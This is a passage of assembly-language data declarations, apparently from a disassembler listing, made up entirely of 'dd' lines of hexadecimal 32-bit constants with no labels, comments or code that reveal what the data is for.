		dd 0FE26218h, 1C6B499h,	0B5DDAAABh, 0F026AF28h,	0B24549Ch
		dd 0AA2644E7h, 0C4317D01h, 0B8D3C7D4h, 3836CC5Dh, 3D00BED7h
		dd 0E107CD9Ch, 3030491Dh, 92F479BBh, 0EB9CC1Eh,	0C700C4D8h
		dd 0BEC3F780h, 341528E7h, 0C0B1609Fh, 45EE9CD2h, 0C21DE200h
		dd 9EA6D8C5h, 13210085h, 0C428FDFBh, 7903E6D9h,	8CC62DBh
		dd 2A4FB1D1h, 0E1185C27h, 0AAFCD915h, 0FF002DE4h, 0ABB5729Ch
		dd 2EB801CFh, 0A42BDEh,	3F696F0Dh, 0A9C01230h, 1596CC98h
		dd 0FEF400FFh, 428EAC84h, 0B62B6C50h, 3C88F8AEh, 8F289118h
		dd 0FBB7E123h, 0DDC7BE94h, 0A8508823h, 14DC3BDh, 0E742D38Eh
		dd 0E8B320DBh, 95181886h, 0EC510EE0h, 0B8F00FDh, 0AB4B6A76h
		dd 2D0A850Fh, 0EC485C45h, 0F4A9151Ch, 47172A60h, 0AB7F0912h
		dd 7418EC51h, 22E9C24Ah
		dd 9F300398h, 0E0AA1437h, 51385755h, 0ECFCF01Dh, 12CE0033h
		dd 0D0CDBE5Ah, 823478B3h, 9040F029h, 9AAF5DCAh,	0A6F00A91h
		dd 344E6C4h, 507D198Eh,	7145D8D9h, 4ACED4ACh, 0CB504E50h
		dd 8AF9A000h, 0E6B257E1h, 18B70428h, 8011B89Ch,	138EF234h
		dd 0FBC269C0h, 92B54922h, 0A6340930h, 24231DD7h, 29000D2Fh
		dd 0FCB6159Bh, 15FFEC4h, 0D161A1BFh, 70F6E243h,	5148EAA2h
		dd 752212Ch, 6473369Dh,	6038C7CBh, 0D3B83F06h, 0FA80A491h
		dd 0F3C8671Eh, 48A01140h, 35AB00BFh, 6FA54463h,	7E9F0BE3h
		dd 681918B1h, 0A822E0h,	925E3556h, 2CECBABDh, 0C268B2F0h
		dd 54659BF2h, 0DE208687h, 0FDBBE630h, 0C27830D7h, 49138779h
		dd 5901187Ah, 2672584Ah, 2C2278CFh, 39A5A400h, 0CE4E2E49h
		dd 0AD82D400h, 23FE412Ah, 2D2C2AC7h, 1CE030B0h,	131BB4A1h
		dd 0BDBA8A04h, 0A098B0A8h, 15880C6Bh, 0E699B194h, 8CE4124h
		dd 48EBA902h, 5446D8h, 771E7FA8h, 0BEB1C370h, 4358D502h
		dd 473B056h, 0F28C981Fh, 9F09053h, 81C42DFEh, 0E6D48320h
		dd 5800C432h, 90D2FB36h, 92268EF6h, 4140FCD5h, 3EEEC4CFh
		dd 0A819DD28h, 81DEB0ECh, 0E4406139h, 44313832h, 264553E0h
		dd 0A4C87668h, 4003C994h, 6493E0B3h, 0C58C009Fh, 5101E5BEh
		dd 65916ECCh, 0A9BF3E3Ch, 222DA500h, 0FA1B7C69h, 1770D907h
		dd 5C00B92Bh, 12686B2Fh, 342220B2h, 1ED88204h, 44D41A21h
		dd 0F0357921h, 81876830h, 0A5310C9h, 12C4B27Ah,	4054E9C5h
		dd 39BB74A8h, 0ED003DAFh, 0EA52E30Bh, 54A28475h, 0F615026h
		dd 0A047E703h, 12CD0132h, 774D6B8Fh, 0B0502E68h, 0E4D5360Ah
		dd 63427D00h, 629AF469h, 0ACE74947h, 187FA4A1h,	82CBC4A5h
		dd 0C66EB14h, 48C217A8h, 3C000153h, 17141E50h, 4F99003Ch
		dd 2918F062h, 882811D8h, 7970144Dh, 56F20C7Ch, 0B8269EF4h
		dd 88013483h, 3CE56769h, 0C2301C63h, 59A09EA1h,	6BF68A0Bh
		dd 5CFC8429h, 3EA1E080h, 0D81D58D9h, 75EED2C7h,	611CC560h
		dd 22E11A60h, 1C750750h, 0CF4359E7h, 5A41E8DBh,	96C21CCEh
		dd 8FF24A9Eh, 5C125880h, 3136E21Eh, 57E78A21h, 0A65A80CCh
		dd 75C34B0Ah, 4D58BC05h, 9C2BDAh, 95F11915h, 3278C028h
		dd 7F570020h, 1993720Ah, 0A43200CAh, 44D81A4Bh,	4EC61099h
		dd 91492Fh, 2D946BEDh, 7EBE4CA4h, 8708EC00h, 863A6966h
		dd 0BB6379Bh, 0B94DD398h, 0D68A6103h, 0A8437321h, 5C6394E6h
		dd 0E216338Eh, 5B5100AAh, 4F33620Ch, 0BC93162Ch, 0A4845D42h
		dd 58990E74h, 530B2866h, 80901B38h, 19C945A2h, 48C88443h
		dd 66096140h, 6D0B76BAh, 87059C5h, 582C705Ch, 9D1505E0h
		dd 1C3499A8h, 0C0D50155h, 20ACEFC4h, 140808B0h,	0E22D4F64h
		dd 0C293D91h, 17D416Ch,	8DE6A809h, 4CE2B41Fh, 28DAC864h
		dd 48DC66C9h, 2307C821h, 0C033D7BAh, 40D00792h,	38BD9C24h
		dd 0A4601A92h, 943FE65Dh, 50803EF0h, 42D76F24h,	5A58E254h
		dd 17DD00EBh, 96A60A82h, 97BC0EE5h, 72AD55h, 0F12E08C0h
		dd 15062966h, 14E27ED9h, 0FA560089h, 0B60EB34Fh, 1E03A38Fh
		dd 0C79F8BFDh, 0B7999020h, 0AC464CBEh, 40432FC5h, 4BF00D80h
		dd 15016244h, 8526EF0Eh, 0B4CCF806h, 8B670556h,	9C6C6528h
		dd 0CCBB9140h, 98CA158Bh, 0F58FF4C4h, 0A1C22182h, 90E42FC9h
		dd 118C500h, 714BA83Bh,	0ED67182Ch, 0E15FCCEAh,	12C6B73Dh
		dd 0CCC20E70h, 0EBB32011h, 6000CD6Ah, 0C00878C8h, 91837E91h
		dd 5E618E64h, 2EBBF041h, 0C8A83693h, 0E9C4C20Eh, 5505044h
		dd 0F400B0ECh, 761739B5h, 0E3E6109Bh, 0C880DC2Ch, 2158CBFBh
		dd 2A82D506h, 3D59452Fh, 0B380E4EEh, 2419D20Bh,	844B6A56h
		dd 0F1B83Ch, 82E89652h,	0E345A643h, 770B01ECh, 1AFF3FCh
		dd 0DE7147A1h, 84BDF430h, 22073B11h, 40FCE62Ch,	0A1D9091Dh
		dd 76FA0307h, 53DFC649h, 485DE070h, 89E76130h, 0BD4298F4h
		dd 80552AB9h, 3C0D0C00h, 81CB674Fh, 268E0053h, 0D98BF9B7h
		dd 0CD0FD5E1h, 0C9F7FD79h, 0D8E413E2h, 4E4D34EFh, 0E0CC310Bh
		dd 1D218F06h, 7B9180C8h, 1ECB811Fh, 0DDC7B3h, 1B5A320Eh
		dd 0C8AE8FD7h, 3A4674A0h, 781A48h, 292776D1h, 2CD0028Eh
		dd 405C2F23h, 0D9FDA26h, 0D6E9491Fh, 9C716581h,	6C289615h
		dd 901C86A0h, 37564F00h, 0D482E529h, 209C98E2h,	0C4001101h
		dd 3181EAD9h, 5DAED721h, 2AC1E8B7h, 0FBD0B267h,	786C48FAh
		dd 2B261A46h, 0D8102508h, 78072AAFh, 0EA5F9B9Ch, 0EF5E84C0h
		dd 3BFBE043h, 78481095h, 87046422h, 1FACCA99h, 27F498A0h
		dd 3C98AA9Bh, 18C9A532h, 203CE790h, 0B8DA21F4h,	26A18F1Fh
		dd 0FC5F407Ch, 0B9008A95h, 34C0BD4Eh, 1012445Ah, 2525892Ch
		dd 6154988Dh, 92B4B13Eh, 7CF81417h, 0FE33BCC0h,	0D97529DDh
		dd 1702AA02h, 67F59C41h, 0CDE28080h, 0D426E998h, 8024E048h
		dd 4785A178h, 8448E17h,	0B0CB00C5h, 34A9AC7Bh, 0F2003257h
		dd 0E7FC0476h, 980AE35h, 946CAFEAh, 5E2908E4h, 0FD08F484h
		dd 56C18610h, 8900E93Fh, 8EC6CFA4h, 16E54BA9h, 22C9152Eh
		dd 687BFD4Ch, 9BF36F02h, 0FBC22020h, 0DC0EA42Bh, 0BC2A43h
		dd 48E41617h, 0A4AC94D9h, 28A114D4h, 0E088E52Eh, 5247AADAh
		dd 3026E42Dh, 16492358h, 12DE351h, 0B71AA22Ch, 0C4346018h
		dd 8044E658h, 0C9D80234h, 0FCD400D7h, 0C428E74Fh, 30E9D0E2h
		dd 5D89B91Ch, 7E009436h, 16E5F2E6h, 0C25C94FBh,	0B0D605E8h
		dd 0FC504AB3h, 4DF063DEh, 67C900BAh, 0EEACF71Dh, 0E6032064h
		dd 150D1825h, 0D805A8E2h, 64C49E80h, 3840884Dh,	83CFBC3Dh
		dd 0B09B08E1h, 70B9EA66h, 5C75E2E4h, 80DC582Ah,	97ECF0ABh
		dd 5F01D3AAh, 0B71FDB71h, 0A860DF8Ch, 2F498861h, 0E26193F7h
		dd 0AD6BA8D1h, 49E6D9E8h, 58883895h, 0AC923402h, 7B0598Ah
		dd 53EC690Ah, 0CAD84C5Dh, 0FF48C207h, 51AEC038h, 47E752h
		dd 7B9E65E5h, 3E979314h, 0F8375D00h, 31535B2Dh,	44ACB1C1h
		dd 0B983404Ah, 6AEB4EBBh, 514C3CA6h, 829E6h, 0E7A26312h
		dd 14173E30h, 0E0CF20B2h, 4D33B522h, 0B00EF1F5h, 34344h
		dd 0BE296D18h, 6169E694h, 0E1ED7A01h, 227EDAF4h, 5D08F076h
		dd 4B80BD4Dh, 0C5651AF3h, 92F900C8h, 89338B8Ch,	0E32E4723h
		dd 0D00F2E6h, 0C1E13DF3h, 42A4D58h, 90CB5E88h, 1E7E4E78h
		dd 2C2CABEFh, 0B8223978h, 8460FC96h, 1738A557h,	611CF61h
		dd 0E82A6260h, 1C40A142h, 0EE6E00E2h, 56F6C2FDh, 0BE24B980h
		dd 4DE06498h, 59794E6h,	8087C0DEh, 0EEF8C0B8h, 8326564Bh
		dd 223A84C4h, 39ED1225h, 0CA48DDD0h, 0A8C5C023h, 5C3E857h
		dd 0EA377978h, 34CA6F7h, 995E0C2h, 0E9C89883h, 0F0ACE1F5h
		dd 0B73660E8h, 38391232h, 6E3B5Bh, 0FEC786E4h, 32BBD27Ch
		dd 9DF02E50h, 0E4405D20h, 0E0AD278Ah, 1CD73822h, 0C5931202h
		dd 41489F64h, 0E85DA5Bh, 7426E6h, 18CD195Ah, 5647C3D2h
		dd 4D18DC91h, 0BE3041C6h, 0FB9D112h, 20B7D872h,	7088B2A2h
		dd 0FA0B7E00h, 67781F47h, 0CD2502B1h, 0D6CC9AC0h, 98F24460h
		dd 304728B6h, 88929248h, 1B1CD2E4h, 2A809F1Dh, 28EDB237h
		dd 7A092045h, 60BEC429h, 0F3314886h, 40E24B89h,	67921CC0h
		dd 0CF00F61Bh, 9A8D187Ah, 0E05EB5CDh, 0BA290049h, 152C4ED4h
		dd 5388B2BBh, 0CCD84844h, 3D2045A2h, 1490530h, 84D4DFD7h
		dd 33246BAAh, 85320044h, 0B51BE177h, 14C1006Fh,	0BF70CA8Eh
		dd 2F020A75h, 0BB3A0510h
		dd 0C85CEEBEh, 0F48BC6C0h, 0E7D01091h, 0A990A856h, 9B4500F3h
		dd 5F3762BCh, 3200E64Ah, 285BB7A0h, 9E0756C0h, 9F1286B0h
		dd 0E64ED1AFh, 2300450h, 751E235Ah, 112840D9h, 80A093ECh
		dd 54AEE418h, 6BE8B15Bh, 0A84CF615h, 2020D7B8h,	2E0514h
		dd 0D8E1E21Eh, 93B56A9h, 53BC44A0h, 104DC1C9h, 0FAB498h
		dd 0DD639D08h, 0BCEE52CEh, 87922105h, 0BC600D86h, 0D35ABE15h
		dd 9D3C0A41h, 61A2408Ch, 164BB763h, 60C6B467h, 94614C31h
		dd 8E0162Ch, 2F14797Dh,	23027520h, 0F1E67CA6h, 0C0C6685h
		dd 12095354h, 48913CC1h, 0C9167C07h, 0B7A66ED0h, 6149387Ah
		dd 8288AE81h, 2CC51593h, 447488F0h, 5F24B32Ch, 59611420h
		dd 0D6ED0081h, 0CFA21DF4h, 3D27185Eh, 2E4142Dh,	33976343h
		dd 0E4C6C8BBh, 90FD511Eh, 2934A307h, 0D332008Bh, 13378BC1h
		dd 822B9166h, 49221D24h, 9EECE62Ch, 2B894F84h, 629340AFh
		dd 0DDE05490h, 99134F3Dh, 0C427306Fh, 2C6CE5C0h, 0F834132Eh
		dd 98145724h, 0EA0086B8h, 5E7051B8h, 0F07AA8BFh, 1FC62326h
		dd 7CD0D138h, 0A5BB8058h, 48CBADDh, 0EEE3F87Ch,	0CCF8802Ch
		dd 4D39EF56h, 0C8311E78h, 2F0CECC5h, 48BB9049h,	47EC54Ch
		dd 0BCF15CB4h, 0EB50E43Ch, 4C139200h, 0C12778A6h, 0E498006Ch
		dd 3AAD7D30h, 0C6700448h, 59B52938h, 68548A7Ch,	75F5AE80h
		dd 5F933Dh, 0D138DB2h, 0BD380A85h, 0E9E25404h, 7C82C1E7h
		dd 0B5432E17h, 4100C348h, 4ACB9E1Eh, 0BBE70A2h,	519A99E5h
		dd 0B439B889h, 5BCD10BCh, 0D8990981h, 70302BD6h, 954B2220h
		dd 0FC2C9020h, 0D3DC00B5h, 0A290F92Dh, 0C602679Eh, 551244CAh
		dd 452A40A9h, 90809281h, 0C52F2234h, 72FE4F07h,	0B3C02A29h
		dd 3C9F8EE0h, 634B5D96h, 21000560h, 0A0E8A2DBh,	969B873h
		dd 389FDF79h, 0C202686Ch, 3F0150CBh, 90005278h,	85D94C50h
		dd 29B35900h, 4EA27045h, 6F0DA300h, 48B7CCE0h, 0FCBE582Bh
		dd 0CC30DEB0h, 0A48A0404h, 74A6B83Ch, 293B2F18h, 0D8006064h
		dd 4E87B511h, 1E8F2850h, 9B415C1h, 0E882FBEAh, 20412C79h
		dd 44C214E4h, 88E72510h, 0F90003C4h, 4908A6A1h,	1F5A2h
		dd 0C46EB19Eh, 7259BC40h, 4C34304Ch, 859EB0B0h,	0CD94394Ah
		dd 4C32D61Fh, 4921761Ch, 25393118h, 9BC02BE1h, 20DA3FA8h
		dd 393D9724h, 0F3768F01h, 0DBE5C15Dh, 0F700A832h, 2814C62Fh
		dd 0A40F5A02h, 321C767h, 0A8773159h, 0EC0E2BC3h, 0FEE40E97h
		dd 0E5426D0Ch, 0A3409123h, 0BE5CC844h, 41C20474h, 74F67D83h
		dd 182C2305h, 0C8CB3D0h, 0E1EADA49h, 3C91E2h, 5D576B61h
		dd 0ED1FF362h, 688019DAh, 604577A3h, 9541FA1Ah,	0E482490h
		dd 9EDB8A4h, 8E6074h, 0DBA00AE3h, 5F4117EAh, 862D75Fh
		dd 40045C91h, 16B3961Ch, 0A0E1101Fh, 1CE32C0h, 1CCDF129h
		dd 40EEC33Ah, 0BCBBA23h, 46602F77h, 8239B939h, 0C6BE00CCh
		dd 0FEBAD21h, 5AF82DEFh, 5DCA1D02h, 0F9B734E7h,	7E74C0A8h
		dd 960427B9h, 5D671FE5h, 146A9871h, 0B406F0ADh,	4114E159h
		dd 0BF6A0200h, 610B1536h, 0CA07003Ch, 522BFE9Dh, 4C7FF23Ah
		dd 0A1056C96h, 0A6C0EE7Ah, 0F94D5095h, 45E57C70h, 0A8C44010h
		dd 0D490E214h, 84962B1Eh, 832E78D0h, 89F43EFCh,	600A10BEh
		dd 541009Fh, 0B0CE729Ch, 6F29B9E2h, 0BC40B419h,	7429C412h
		dd 0BDD9273Ah, 89D4411h, 453C4E53h, 9919C480h, 634430D8h
		dd 0E7391200h, 0DEDF5114h, 0B7CB2B65h, 1EA48898h, 0C6080FA7h
		dd 0F8612E12h, 224CB896h, 0BF44EAF1h, 59C218B7h, 0D9066CBBh
		dd 54BE7F26h, 0A5C3FEC3h, 9638C8h, 0B0139EE4h, 35B1F1CBh
		dd 0EB71A000h, 0C4BB88D3h, 82A5C82h, 0ECA33AC3h, 5C05B21Fh
		dd 39C84844h, 6180CCACh, 201623AFh, 15A0EA01h, 170F10D9h
		dd 0E4A849F7h, 0BDB8C8h, 0ECC21F36h, 9E8F45Fh, 0D93B1213h
		dd 0F2FE898h, 1D61CBh, 6EC39724h, 30FB0033h, 0CD577E95h
		dd 0C04A47D4h, 43929C04h, 8440E742h, 0D511600Fh, 0FD913DFDh
		dd 6DD0817Eh, 6905D4B6h, 4BCBD2Eh, 17260911h, 0E259C03Ch
		dd 935CF2E5h, 4930C808h, 0DB00D059h, 35A96B9Fh,	0ED540050h
		dd 0E3CDBEF3h, 4A2B7E8Dh, 253C8092h, 9EC8CC3Eh,	91CF670Ch
		dd 93FD9C42h, 942CE391h, 301645FFh, 0B1279B58h,	8C7810B7h
		dd 0F3C80074h, 3822888h, 58B32FE3h, 122AFE81h, 6022C132h
		dd 8350F400h, 0E982E448h, 1CBC280Fh, 19BD3C8Eh,	0E229F62Eh
		dd 0CF00BC69h, 0E6CCA09h, 4D00DDBCh, 0C2751D30h, 2632F9E8h
		dd 0E414AC14h, 7905400Eh, 0B88F6A1Ch, 14D716F6h, 0B2E065EBh
		dd 765F009Ch, 694CEFD1h, 0F0670071h, 7EA11823h,	0A902917Bh
		dd 0C82ED9Bh, 0A110F819h, 902C6277h, 0AE8B5181h, 9F4AE0D4h
		dd 18B41B38h, 0FD8913E1h, 2D23003Ah, 0A79AC961h, 29705EE6h
		dd 2CC70105h, 0A0D40DB0h, 0DCDD2840h, 261B1233h, 3E4A0605h
		dd 0A78100CCh, 2050699Ch, 7105C77Ch, 0D3BA3BABh, 0EC9570A2h
		dd 6AB4CD83h, 1F924C90h, 941334B3h, 88C62098h, 6912FE30h
		dd 58C4D5F2h, 0A6C24000h, 0ACF132h, 436ED3C9h, 41034870h
		dd 24D19C24h, 0D5A2C282h, 0D45A3Ch, 53B1DD4Dh, 11C6FB3Fh
		dd 23ADC507h, 0F301ABB7h, 29960E8Eh, 2CE420E7h,	0CC38F57h
		dd 0B81FD126h, 93327139h, 2EC8A698h, 68F840E4h,	6607B112h
		dd 0E4934BBh, 0B701C000h, 0B57B0F9Eh, 28EA5A27h, 0D2C761B4h
		dd 0B483F49Ah, 0AB373400h, 0A766A8CDh, 9BF42977h, 9568BA0h
		dd 21C560E9h, 4198C984h, 0EAB450DFh, 0BCAC08DBh, 1518F101h
		dd 202EB72Ch, 0B9778E68h, 0D4C1D915h, 83BEC8BCh, 8047B00Ch
		dd 5B86D08Fh, 9B01BD85h, 0CF263F81h, 54332948h,	11335903h
		dd 38E1A662h, 7F6CF41Bh, 0B31A780Fh, 41E6830Fh,	71793B84h
		dd 0C5DB1F80h, 8BB0537Bh, 0BCF2801h, 0D7DEAA90h, 4C0F4EF8h
		dd 392250E5h, 78E0C200h, 0EA806025h, 0C1310297h, 0E5673507h
		dd 5D85D459h, 6CC065E6h, 0FA4A30h, 0B7B958C7h, 27981B69h
		dd 2CD8934Ah, 50FE03C2h, 1830B544h, 461FD8B8h, 0E5777D17h
		dd 0BBD47877h, 1F90F443h, 81C2F927h, 88D948D8h,	69115466h
		dd 0F022ECh, 0E18DDECFh, 2A96A6D4h, 3A81A701h, 0A953EBC6h
		dd 0C3C18CF5h, 55002C26h, 68AAE0C1h, 0BF60DB6Fh, 6C3982C8h
		dd 0DCE54E90h, 134446F4h, 739E01C5h, 0B0DEA44h,	0A8223EF3h
		dd 4307BBFh, 0D786DAB3h, 0B96E2EA8h, 5670E012h,	28103D28h
		dd 4DE45001h, 0CB433A5Fh, 0A4A8042Ah, 800E480Dh, 0BFB4365Ch
		dd 0AF0A0894h, 68F9E3DAh, 9765E5C0h, 3FBA0B09h,	64C4BB16h
		dd 0ACEDF23Ch, 491168D0h, 4056C20Bh, 0B0692C98h, 16B2BD19h
		dd 121107A0h, 0A0BC28BEh, 1E8BB8A3h, 647EB56Bh,	681D14FAh
		dd 5C8162Eh, 70E88CD2h,	97295DA4h, 0FA14CC0Fh, 0F315C260h
		dd 0BAA0918Fh, 2D2C713Eh, 202910C5h, 48A0A4BFh,	8780A478h
		dd 0DF577B1Fh, 2286739h, 622D0444h, 511441C2h, 8E88B708h
		dd 0A6340055h, 40140E9Bh, 315ADFD9h, 6CD82064h,	48C309FCh
		dd 10038683h, 991116Dh,	12785156h, 96FC3D9Dh, 20B94C62h
		dd 0B959849h, 50D9400h,	62F39954h, 0DB1104A8h, 0D9F29D61h
		dd 64742B44h, 0A7DFDCACh, 380FC064h, 6046F253h,	738EA93Bh
		dd 7CB20596h, 0A431452Dh, 305248DCh, 976303A4h,	120CF806h
		dd 98843F58h, 0F1E775Ch, 0AE8055D1h, 0ADA0A269h, 0AAB61450h
		dd 4FA08CB7h, 20913853h, 5E9EBE00h, 0BECADh, 0C6BC2907h
		dd 0E8408B14h, 57EF34A0h
		dd 6F640A01h, 831EA52Eh, 28DF8C8h, 4AD75603h, 6454ACDFh
		dd 919AF4C2h, 2819E38Ch, 4BD68550h, 7AA16380h, 607C024Ah
		dd 0A8711F02h, 0AEC01C7Ch, 0E285BDBFh, 5DE0C7h,	51433249h
		dd 5A99452Bh, 8CB78026h, 884AE911h, 0D000BCB4h,	0E0BB6072h
		dd 16C3C3Fh, 6AA6B552h,	26E36DEAh, 0AC4B24C4h, 429CC625h
		dd 444E2496h, 0C21E7C40h, 67FF0EBDh, 0DD608737h, 3AD575BAh
		dd 0ACC70C3Bh, 0F060285Ch, 0B9F9FDh, 0BF4CB2A7h, 7473CACDh
		dd 9023AA25h, 59ACB8h, 0B9755A45h, 0B79398A8h, 5D820A07h
		dd 7A50FB4Fh, 5B15D0EEh, 0C6BC42C5h, 1538B594h,	60F891BBh
		dd 3016DFB1h, 8723F15h,	8021C8C4h, 787C0987h, 4B64A11h
		dd 747A3542h, 0F7CBC074h, 8A07EE1Fh, 423F0771h,	0AAE7E2C0h
		dd 27834374h, 752C645Dh, 38A3B076h, 488E1798h, 74C07ECAh
		dd 0E61634D7h, 52D80318h, 24BEA7DAh, 4D8103Eh, 0F8CB9438h
		dd 8E63C09Ch, 0E8DEFCh,	0B4315AE1h, 0D667D037h,	23C41CB6h
		dd 809DB8ECh, 39CAF81Ah, 4A00527Fh, 97C54B9Bh, 124CEC30h
		dd 0E3E47DA5h, 0EDD21374h, 0FD216E00h, 724C038h, 0D91666C9h
		dd 1C5BC9EEh, 9A9E81BBh, 0BDA2A514h, 0C3221C79h, 0C8045F00h
		dd 0C1A68264h, 207E02DAh, 294528C0h, 0E64BF044h, 96034C40h
		dd 33472Ch, 20247C1Ch, 0E41AF44Ch, 1BF36803h, 0E12E0434h
		dd 666A90E5h, 9C6014A0h, 9DB3A192h, 0C03D0042h,	5FE8E1CDh
		dd 8E31F449h, 48C2E17Ch, 0C6000C22h, 0E89303D2h, 32F9B0F0h
		dd 793B0578h, 0E80EEFBh, 0E5D922Ch, 113E7D77h, 0A945B284h
		dd 87E68754h, 8443Bh, 16F07ED9h, 0E3CC2103h, 0F370C201h
		dd 0FF623643h, 2576E4D8h, 0E4C5BEC5h, 0FC069013h, 9859E6D8h
		dd 0C51F4478h, 35369316h, 1E5D0498h, 0C570CD0Dh, 88E24FF9h
		dd 0A700A0F4h, 781E98E9h, 91FC461h, 5DA66642h, 8B5D4466h
		dd 80C496F0h, 4309BCECh, 4CC848BFh, 25003E05h, 42BD7932h
		dd 4D0DFBh, 0A6D5863Fh,	0B7292019h, 0F8B38DFh, 0E424C3D8h
		dd 0E0580E4Ah, 0A00AC549h, 0C454945Dh, 0A2240E43h, 0C46403E0h
		dd 0E8081D3Ch, 4C19DA35h, 105804B6h, 58CCB6D3h,	0A615220Ch
		dd 0E2C90084h, 18AA7C6Ah, 60E4C427h, 90020C5Eh,	0F13D96F2h
		dd 0AC132F70h, 2CC720F4h, 0E0B8B788h, 0C90085DCh, 0C714672Dh
		dd 5A9AE807h, 8C509C90h, 4445BC0Eh, 56BF62A3h, 2EFCDA42h
		dd 0B38078Eh, 3C0899D9h, 2245E488h, 4C43Ch, 2F2E7C35h
		dd 0CF6E822Ah, 0B7A82809h, 0D1B87A4h, 8805248Fh, 0BA22DCA6h
		dd 4CB6EA1Dh, 3A65A0C7h, 8C15A970h, 79BF0566h, 0D187B4DEh
		dd 8120AF0h, 0A0750F9Eh, 0F48BACCDh, 0E4A840D1h, 594808E9h
		dd 980D42Ch, 9F15D4FEh,	0B7223E42h, 6579F903h, 9833D10Bh
		dd 1D358C5h, 7E85AA59h,	0EA862ACBh, 2CFD854h, 5A74560Dh
		dd 0A0122C70h, 3A944830h, 690BBD44h, 4001F960h,	17741ACh
		dd 0D7E56379h, 362B2935h, 94872B94h, 0A405305h,	2049B822h
		dd 30EA875Dh, 68116300h, 0C9024A64h, 0BDE6EA75h, 6C54700Eh
		dd 0C898F413h, 8345D38Ch, 304C0461h, 18F98632h,	0F20C40C0h
		dd 0C91C995Ch, 31479E5h, 90B5974Ch, 0FBE120FFh,	0A5383A75h
		dd 22C180BEh, 0FBBB7D1h, 8078BB9Fh, 3672B32h, 0A122007h
		dd 0E0880956h, 698777B3h, 0E4CA9811h, 4C2C7045h, 18EB5824h
		dd 0A1CC4Ch, 3CC98BAAh,	3AB2261Ah, 95A64700h, 7C5EE8C1h
		dd 0D4832535h, 29045866h, 28E5AC4Ah, 1FF18B1h, 0DAE223F9h
		dd 6B5B46F9h, 39727802h, 84E459D0h, 0C8DBE661h,	0F9F8DD74h
		dd 1C805F00h, 7643B54Bh, 128E1CB0h, 492700C2h, 0C8C669Fh
		dd 582A173Ch, 5E1A0FACh, 0B87804C1h, 0E15CFA40h, 53EAA544h
		dd 0CBF6190Eh, 0D58BF67h, 94931269h, 0CEE05038h, 0B1008CB8h
		dd 945C935h, 4AC2BD4Bh,	8AA438AFh, 0D2181600h, 45D162BDh
		dd 6DA31C97h, 0A70D8F78h, 2D849856h, 2F98BA52h,	0A470A03Ch
		dd 13C314B3h, 0F355F06h, 0A3339BD3h, 0AB22D8h, 9F3AE92Eh
		dd 0BA4A3D0Ah, 8E7734E0h, 9C21EA44h, 0C619E044h, 70778B9Eh
		dd 1F55DD01h, 97C0DF96h, 0BECBCDCh, 0E653C762h,	6695FC20h
		dd 3096491Ah, 0C0304806h, 0EC630549h, 0B92A5C44h, 0FABCC0D4h
		dd 5DD9C611h, 2B82DCE2h, 0E45E3112h, 0F7C1DE40h, 0D95802D1h
		dd 7DC92097h, 909DF46Eh, 0B12D930h, 80F04520h, 40BC40A4h
		dd 3A534DDEh, 584F4DFFh, 82796D10h, 2258A32h, 30742A97h
		dd 908D3E40h, 885C5A58h, 84001378h, 0B7BC3403h,	0C3AFCEh
		dd 1841D9CFh, 0C66C146Eh, 16405899h, 0C477CDh, 912981D4h
		dd 0DA4C56D1h, 0A2E25894h, 10C11154h, 234F5AFh,	0EA933306h
		dd 887C3CE8h, 2F1220E1h, 0C4131023h, 30A2BEh, 0A02075FFh
		dd 12FA5401h, 8B6FE90h,	0F285BCB4h, 0E0B24995h,	294D8A22h
		dd 10ADDE1Ch, 9C1F44h, 3C31C4Eh, 0CE69671Dh, 0E747FD04h
		dd 0DCE987A3h, 0F1D949A0h, 45B091BDh, 9054772Fh, 52AACD9Dh
		dd 676027Ch, 1CDB3A00h,	190DBA55h, 44945495h, 9E670063h
		dd 8B09D5E2h, 0D812E937h, 0D49C1144h, 60AB24EDh, 0BD380038h
		dd 9F21348Ah, 36FF47E2h, 0E4B92D28h, 5F560014h,	7EFA6678h
		dd 4000088Fh, 80613713h, 0EA5E839Bh, 3F29125Ch,	54E0C879h
		dd 0F0AB930Eh, 82D281CDh, 0FAF3B545h, 0C40874B9h, 79BE4010h
		dd 63E768h, 28B8ACEBh, 485E8682h, 98A6EC0Bh, 40C079C1h
		dd 1649E823h, 0FDC39F7h, 1FE83A4h, 2DA0A564h, 88F4A434h
		dd 14B797F2h, 0B810038h, 17BFB75Bh, 0F0B767B5h,	0C42155C2h
		dd 247BCA61h, 80C56D4h,	456407A8h, 8AE93240h, 8B000E97h
		dd 6AEE650Ch, 2CBED53Fh, 2E083F7h, 24A47646h, 2CC82000h
		dd 20684A91h, 34A5BF3Ch, 16EC2397h, 9615C9F7h, 0E614413Ah
		dd 0E5816D51h, 58043A89h, 3C4B110Ah, 63729C10h,	0E4383D01h
		dd 12245C3Eh, 0AE216C3Dh, 0A21CF216h, 53216h, 0F802E946h
		dd 840F4253h, 5B411428h, 0F0FFEBFAh, 120A83F8h,	248427A1h
		dd 0E7F81127h, 6000DC22h, 35F9617Eh, 2D3B75E8h,	700C0B1Bh
		dd 0C4A4075Ah, 88591614h, 6C8C31CCh, 223680ECh,	45BB8Dh
		dd 7B41BE3Ch, 0F2FCE408h, 0AF564701h, 0D940D35Dh, 74EDF042h
		dd 345CE00Ch, 24007EB0h, 306F2BE9h, 96AA5FCh, 0F1E09290h
		dd 1214AC49h, 8E20F43Ch, 0D240DCBEh, 7E525475h,	22B0C15Ch
		dd 0C4BB001Ah, 0AC493367h, 0AE1228E3h, 0ECD04D61h, 0F4E7E88h
		dd 67323C5Fh, 30705316h, 0EBD98C24h, 15BB3Ah, 13734BC8h
		dd 11BA6B5h, 0A443EE6Ch, 42CDAF8Eh, 70C21FD0h, 2240C05Ch
		dd 8CA77h, 0F4BB44D0h, 7FFDE75h, 0C3999100h, 0FA31705Ah
		dd 88494F09h, 15152BB8h, 4CD43C9Fh, 0BA8DC0B8h,	35FA360h
		dd 0C1DCEC37h, 5E901257h, 0ED60930Bh, 455321D8h, 40919D15h
		dd 88C60857h, 0F815FB1Ch, 81E82F5Fh, 269C425Eh,	0C2A8003Eh
		dd 0DB97B3DAh, 8986C800h, 0EC36E57Bh, 84344DCEh, 84E2C510h
		dd 0B5257697h, 60333180h, 0A5014B39h, 0C38BD424h, 1FD44494h
		dd 0CE004D2h, 0E2F628FDh, 0EE007754h, 495BE6C7h, 3F8DA90h
		dd 6A4CCE85h, 37805FB2h, 5731E704h, 0BCD880E2h,	0E0C02912h
		dd 2F8151EFh, 8F04FC73h, 41E75CA2h, 0A698DE65h,	0C0D4F860h
		dd 0F220DF40h, 0BF701A54h, 3304410Ch, 9530E13Bh, 8F078C14h
